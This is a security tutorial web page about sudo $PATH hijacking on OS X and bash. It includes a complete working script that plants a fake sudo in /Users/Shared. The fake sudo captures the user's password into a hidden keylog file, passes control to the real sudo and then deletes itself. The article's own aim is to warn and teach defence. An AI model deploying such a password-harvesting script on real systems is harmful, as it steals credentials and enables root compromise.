Rixstep
 About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Learning Curve

Sudo Fun

Yes there's fun to be had - but whose fun is it?


Get It

Try It

The Unix sudo provides privilege escalation. Using sudo is far better (and safer) than enabling the root account. But there are still dangers. Equipped with a bit of social engineering savvy and a clever script, a black hat can toast your machine. Read on.

sudo stands for 'su do' and is an offshoot of the su ('substitute user') command. It provides privilege escalation only for the requested command line. It was originally written at the State University of New York in the 1980s; today it is maintained for OpenBSD and is available on almost all Unix platforms. Both Ubuntu and OS X recommend use of sudo rather than su.

sudo is normally found in one of the four Unix 'bin' directories.

% whereis sudo
/usr/bin/sudo

These directories (and their contents) are totally locked down with a umask of at least 022 and ownership normally set to root:wheel. There's no way a black hat can tamper with them. And sudo performs an inordinate number of checks to make sure nothing else is being hacked either. But there's still one glaring hole: $PATH.

$PATH

A Unix path normally contains only protected directories.

% echo $PATH
/bin:/sbin:/usr/bin:/usr/sbin

$PATH is 'exported' through all subsequent shells. But it can be 'hijacked'.

Your shell - your command interpreter either on the Unix command line or through your graphics based environment - will traverse the directories named in $PATH in the given order. As soon as it finds the command you're invoking it will run it and stop looking further.

When you run a sudo command your shell will search first in /bin, then in /sbin, then in /usr/bin - where it will find sudo and subsequently run it. But what if there was another directory with a sudo that was searched before /usr/bin?

Sanitising

Running sudo is risky. To make fully sure you're always invoking the real sudo it's best to use the full path: /usr/bin/sudo. Worse: command lines like the following can be even more dangerous. Do you speak Klingon? No? So you want to remove all those nasty Klingon language files from your system?

sudo find /System/Library -name Klingon\.lproj -type d -exec rm -fr {} \;

Running the above command line can fry you even worse if find or rm and not sudo is hijacked.

% whereis find; whereis rm
/usr/bin/find
/bin/rm

So the best way to express the above is as follows.

/usr/bin/sudo /usr/bin/find /System/Library -name Klingon\.lproj -type d -exec /bin/rm -fr {} \;

As a general rule: use full paths exclusively for all commands on any command line using sudo.

Toasting Your Box

It's namely admirably easy for a black hat to corrupt your $PATH to get either your password or escalate to root if you're not careful. And there are namely any number of vectors for this, some of which apply to all Unix platforms. If you grant that the black hat has in stealth already downloaded something onto your computer and is merely waiting to 'get root' then you can be toasted rather easily. The 'OS X' method requires a reboot; the generic 'bash' method works straightaway.

~/.MacOSX/environment.plist

Officially a derivative of OpenStep, OS X uses a method of environment customisation taken directly from its forerunner. The loginwindow process which actually logs you in looks for the file environment.plist in the directory .MacOSX immediately in your home directory. This property list file is a perfectly ordinary key/value property list file.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>PATH</key>
    <string>/Users/Shared:/bin:/sbin:/usr/bin:/usr/sbin</string>
</dict>
</plist>

loginwindow takes the above value for $PATH and applies it to all programs you subsequently run. And note that the .MacOSX directory will normally be hidden in listings - and in Finder.

But loginwindow reads environment.plist only when you log in; to note a change you have to log out and in or reboot. Attacking .bash_profile is easier - and quicker. And may work on other Unix platforms as well.

~/.bash_profile

Exploiting bash is even easier (at least on OS X) because the generation of a new login session can be turned off. And every new Terminal window gets the hijacked $PATH no matter what other windows may have done previously.

defaults write com.apple.Terminal Shell /bin/bash

As soon as you create environment.plist and reboot - or as soon as you reconfigure Terminal's preferences and infect .bash_profile - your $PATH has been hijacked.

% touch ~/.bash_profile
% echo 'export PATH=/Users/Shared:$PATH' >>~/.bash_profile

Is it possible to hide an alternate sudo in /Users/Shared?

/Users/Shared/sudo

It's more than possible. Given a social engineering tack like Oompa Loompa, it's possible to do it all in one fell swoop - and to cover one's tracks afterwards so no sign of the exploit remains. The following sample script uses .bash_profile - creating the counterpart using environment.plist is left as an exercise to the reader.

#! /bin/bash

fakesudo="/Users/Shared/sudo"
logfile="/Users/Shared/.keylog"

# set PATH for future logins
touch ~/.bash_profile
echo 'export PATH=/Users/Shared:$PATH' >>~/.bash_profile

# set bash for future Terminal sessions
defaults write com.apple.Terminal Shell /bin/bash

if [ -f "$fakesudo" ]; then
   rm -f "$fakesudo" 2>/dev/null
fi

# create fake sudo
touch "$fakesudo"
chmod a+x "$fakesudo"
echo '#! /bin/bash' >>"$fakesudo"
echo '#' >>"$fakesudo"
echo 'inp=""' >>"$fakesudo"

# fake sudo output
echo 'stty -echo' >>"$fakesudo"
echo 'read -p "Password:" inp' >>"$fakesudo"
echo 'stty  echo' >>"$fakesudo"
echo 'echo' >>"$fakesudo"

# save the harvested password
# fake another sudo output line
echo 'logfile="/Users/Shared/.keylog"' >>"$fakesudo"
echo 'echo "$inp">>"$logfile"' >>"$fakesudo"
echo 'echo `whoami`>>"$logfile"' >>"$fakesudo"
echo 'echo `groups`>>"$logfile"' >>"$fakesudo"
echo 'echo "Sorry, try again."' >>"$fakesudo"

# now hand over to the real sudo
echo '/usr/bin/sudo "$@"' >>"$fakesudo"

# clean up
echo 'rm -f "/Users/Shared/sudo"' >>"$fakesudo"
echo 'exit 0' >>"$fakesudo"
exit 0

Damage Control

It's eminent child's play to deliver the above payload. It can be embedded in any download or delivered with a remote login. And culling sensitive information once the system is compromised is only further child's play.

Your startup items can be compromised; your ifconfig and keychain information passed back to a 'mother ship'; your firewall settings corrupted; further scripts downloaded and run as root; ghost root accounts created; and so forth. If the intruder wants to be really nasty, you can find all your files in /System/Library missing.

And combining a compromise of sudo with compromises of other commands commonly used with sudo will reap destructive results all in one fell swoop: the former mines your password; the others create multiple root shells.

A bit of social engineering is necessary but Oompa Loompa, ILOVEYOU, and most of the notorious Windows worms needed social engineering too. And saying people were fools didn't erase the damages today assessed in the tens of billions. And if you wander over to the MacNN and MacRumors forum archives, you'll see how upset people can be for having been fooled by social engineering.

This is a VERY VERY sad day for the Mac platform. I always hoped that this would not happen in my lifetime. I am almost in shock now, I can't believe this is reality. All because of this bastard with his pics. I am extremely pissed, sad, and scared. This guy needs to pay. This is war IMO. I'm shaking. Someone please comfort me.
 - CoMpX at the MacRumors forums on being 'socially engineered' by Oompa Loompa

Lessons Learned

  • Unix is secure: you're never going to suffer like Windows users.
  • Any system can be compromised by improper use - if you leave the door open.
  • Any operation on your part involving privilege escalation is potentially dangerous.
  • Command lines with sudo should be properly vetted with only full paths used before being run.
  • Always check your $PATH before running sudo and as soon as you open a new Terminal window.
  • Check regularly for the existence of ~/.MacOSX/environment.plist, ~/.bash_profile, and similar files.
  • There are many ways far more sophisticated (and deadly) scripts can be planted on your box already today.

Thanks to the MOAB crew for bringing this to everyone's attention, to GC for sweating the details, and to Ilgaz Öcal for the laughs and inspiration.

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.